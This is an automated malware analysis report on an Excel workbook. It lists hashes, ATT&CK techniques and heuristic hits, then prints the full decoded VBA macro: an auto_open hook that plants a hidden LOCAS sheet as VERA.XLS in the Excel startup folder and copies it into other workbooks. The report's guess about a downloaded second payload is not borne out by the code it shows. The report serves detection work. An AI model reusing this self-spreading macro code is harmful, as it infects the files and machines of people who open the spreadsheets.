Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78fa347f8e024f3a…

MALICIOUS

Office (OLE)

58.0 KB Created: 2005-05-03 01:14:34 Authoring application: Microsoft Excel First seen: 2017-05-13
MD5: f268a6bcea88353c8a5dbb75bdedfd71 SHA-1: 60c51e932cf008b4fa6c5f77e82cbd504a79dd23 SHA-256: 78fa347f8e024f3aae0e624d20e5d475bdcbd9dee77723f87c9d80bb600ddeea
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1037.001 Boot or Logon Initialization: Script Based

The sample is an Excel file containing a VBA macro with an Auto_Open subroutine. This macro is designed to execute automatically when the document is opened. It uses CreateObject to interact with ADODB.Connection and then proceeds to save a file named 'VERA.XLS' to the application's startup path. This behavior strongly suggests an attempt to establish persistence or download and execute a secondary payload.

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2646 bytes
SHA-256: b726c86b56c350f7e8f5e1f0311a0a962eed6176d2fd3b94f639cd0f62810200
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Locas"



Sub fig()
    
    Set X = CreateObject("ADODB.Connection")
    
    X.Open "Provider=Microsoft.Jet.OLEDB.4.0;Extended Properties=Excel 8.0;Data Source=" & ThisWorkbook.FullName
Sql = "select mid(款号,1,2) & '0000 组', sum(件数) from [货品销售$] group by  mid(款号,1,2)"

    Set yy = X.Execute(Sql)
   [g10:h44].Clear
   [g10].CopyFromRecordset yy
   
        Set yy = Nothing:    Set X = Nothing
End Sub





















Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "VERA.XLS")
    If m$ = "VERA.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("locas").Visible = True
    Sheets("locas").Select
    Sheets("locas").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "VERA.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("LOCAS").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "LOCAS" Then
         Workbooks("VERA.XLS").Sheets("LOCAS").Copy before:=Workbooks(n4$).Sheets(1)
    Workbooks(n4$).Sheets("LOCAS").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = Tru
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case Else
End Select
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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